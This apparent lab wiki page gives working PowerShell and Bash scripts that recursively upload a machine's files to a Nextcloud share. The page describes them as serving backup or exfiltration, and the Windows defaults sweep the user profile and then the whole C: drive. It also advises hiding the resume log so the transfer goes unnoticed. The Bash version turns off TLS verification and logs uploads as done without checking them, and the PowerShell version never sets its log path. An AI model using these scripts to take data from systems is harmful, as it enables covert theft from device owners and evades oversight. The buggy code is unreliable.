Skip to content

Upload Data to Nextcloud Share

Purpose: In some unique cases, you want to be able to either perform backups of data or exfiltrate data to Nextcloud from a local device via the use of a script. Doing such a thing with Nextcloud as the destination is not very documented, but you can achieve that result by running a script like what is seen below:

Windows

Environment Variables

You will need to assign the following variables either within the script or externally via environment variables at the time the script is executed.

Variable Default Value Description
NEXTCLOUD_SERVER_URL https://cloud.bunny-lab.io This is the base URL of the Nextcloud server that data will be copied to.
NEXTCLOUD_SHARE_PASSWORD <Share Password> You need to create a share on Nextcloud, and configure it as a File Drop, then put a share password to protect it. Put that password here.
NEXTCLOUD_SHARE ABCDEFGHIJK The tail-end of a nextcloud share link, e.g. https://cloud.bunny-lab.io/s/<<ABCDEFGHIJK>>
IGNORE_LIST AppData;AMD;Drivers;Radeon;Program Files;Program Files (x86);Windows;$SysReset;$WinREAgent;PerfLogs;ProgramData;Recovery;System Volume Information;hiberfile.sys;pagefile.sys;swapfile.sys This is a list of files/folders to ignore when iterating through directories. A sensible default is selected if you choose to copy everything from the root C: directory.
PRIMARY_DIR C:\Users\Example This directory target is the primary focus of the upload / backup / exfiltration. The script will iterate through this target first before it moves onto the secondary target. The target can be a directory or a single file. This will act as the main priority of the transfer.
SECONDARY_DIR C:\ This is the secondary target, it's less important but nice-to-have with the upload / backup / exfiltration once the primary copy is completed. The target can be a directory or a single file.
LOGFILE C:\Windows\Temp\nc_pull.log This file is how the script has "persistence". In case the computer is shut down, rebooted, etc, when it comes back online and the script is re-ran against it, it reads this file to pick up where it last was, and attempts to resume from that point. If this transfer is meant to be hidden, put this file somewhere someone is not likely to find it easily.

Powershell Script

# --------------------------
# Function for File Upload Logic
# --------------------------
Function Upload-Files ($targetDir) {
    Get-ChildItem -Path $targetDir -Recurse -File -Force -ErrorAction SilentlyContinue | ForEach-Object {
        try {
            # --------------------------
            # Check Ignore List
            # --------------------------
            $ignore = $false  # Initialize variable to check if current folder should be ignored
            foreach ($item in $IGNORE_LIST) {
                if ($_.Directory -match [regex]::Escape($item)) {
                    $ignore = $true
                    break
                }
            }
            if ($ignore) {
                Write-Host "Ignoring file $($_.FullName) due to directory match in ignore list."
                return
            }

            # --------------------------
            # Upload File Process
            # --------------------------
            $filename = $_.Name  # Extract just the filename

            # Check if this file has been uploaded before by searching in the log file
            if ((Get-Content $LOGFILE) -notcontains $_.FullName) {

                Write-Host "Uploading $($_.FullName) ..."

                # Upload the file
                $response = Invoke-RestMethod -Uri ($URL + $filename) -Method Put -InFile $_.FullName -Headers @{'X-Requested-With' = 'XMLHttpRequest'} -Credential $credentials

                # Record this file in the log since it was successfully uploaded
                Add-Content -Path $LOGFILE -Value $_.FullName

            } else {
                Write-Host "Skipping previously uploaded file $($_.FullName)"
            }
        } catch {
            Write-Host "Error encountered while processing $($_.FullName): $_.Exception.Message"
        }
    }
}

    # --------------------------
    # Initialize Environment Variables
    # --------------------------
    $securePassword = ConvertTo-SecureString $env:NEXTCLOUD_SHARE_PASSWORD -AsPlainText -Force
    $credentials = New-Object System.Management.Automation.PSCredential ($env:NEXTCLOUD_SHARE, $securePassword)
    $PRIMARY_DIR = $env:PRIMARY_DIR
    $SECONDARY_DIR = $env:SECONDARY_DIR
    $URL = "$env:NEXTCLOUD_SERVER_URL/public.php/webdav/"
    $IGNORE_LIST = $env:IGNORE_LIST -split ';'  # Splitting the folder names into an array

    # --------------------------
    # Checking Log File
    # --------------------------
    if (-not (Test-Path $LOGFILE)) {
        New-Item -Path $LOGFILE -ItemType "file"
    }

    # --------------------------
    # Perform Uploads
    # --------------------------
    Write-Host "Uploading files from primary directory: $PRIMARY_DIR"
    Upload-Files $PRIMARY_DIR

    Write-Host "Uploading files from secondary directory: $SECONDARY_DIR"
    Upload-Files $SECONDARY_DIR

    ```

## MacOS/Linux
!!! abstract "Environment Variables"
    You will need to assign the following variables either within the script or externally via environment variables at the time the script is executed.  

    | **Variable** | **Default Value** | **Description** |
    | :--- | :--- | :--- |
    | `NEXTCLOUD_SERVER_URL` | `https://cloud.bunny-lab.io` | This is the base URL of the Nextcloud server that data will be copied to. |
    | `NEXTCLOUD_SHARE_PASSWORD` | `<Share Password>` |  You need to create a share on Nextcloud, and configure it as a `File Drop`, then put a share password to protect it.  Put that password here. |
    | `NEXTCLOUD_SHARE` | `ABCDEFGHIJK` | The tail-end of a nextcloud share link, e.g. `https://cloud.bunny-lab.io/s/<<ABCDEFGHIJK>>` |
    | `DATA_TO_COPY` | `/home/bunny/example` | This directory target is the primary focus of the upload / backup / exfiltration.  The script will iterate through this target first before it moves onto the secondary target.  The target can be a directory or a single file.  This will act as the main priority of the transfer. |
    | `LOGFILE` | `/tmp/uploaded_files.log` | This file is how the script has "persistence".  In case the computer is shut down, rebooted, etc, when it comes back online and the script is re-ran against it, it reads this file to pick up where it last was, and attempts to resume from that point.  If this transfer is meant to be hidden, put this file somewhere someone is not likely to find it easily. |

### Bash Script   
``` sh
#!/bin/bash

# Directory to search
DIR=$DATA_TO_COPY

# URL for the upload
URL="$NEXTCLOUD_SERVER_URL/public.php/webdav/"

# Check if log file exists. If not, create one.
if [ ! -f "$LOGFILE" ]; then
    touch "$LOGFILE"
fi

# Iterate over each file in the directory and its subdirectories
find "$DIR" -type f -print0 | while IFS= read -r -d '' file; do
    # Extract just the filename
    filename=$(basename "$file")

    # Check if this file has been uploaded before
    if ! grep -q "$file" "$LOGFILE"; then
        echo "Uploading $file ..."

        # Upload the file
        response=$(curl -k -s -T "$file" -u "$NEXTCLOUD_SHARE:$NEXTCLOUD_SHARE_PASSWORD" -H 'X-Requested-With: XMLHttpRequest' "$URL$filename")

        # Get the HTTP status code
        status_code=$(curl -s -o /dev/null -w ''%{http_code}'' "$URL$filename")

#        # Print the HTTP status code
#        echo "HTTP status code: $status_code"

#        # Check the HTTP status code
#        if [[ "$status_code" = "200" ]]; then
#            # If upload was successful, record this file in the log
            echo "$file" >> "$LOGFILE"
#        else
#            echo "Failed to upload $file"
#        fi
    else
        echo "Skipping previously uploaded file $file"
    fi
done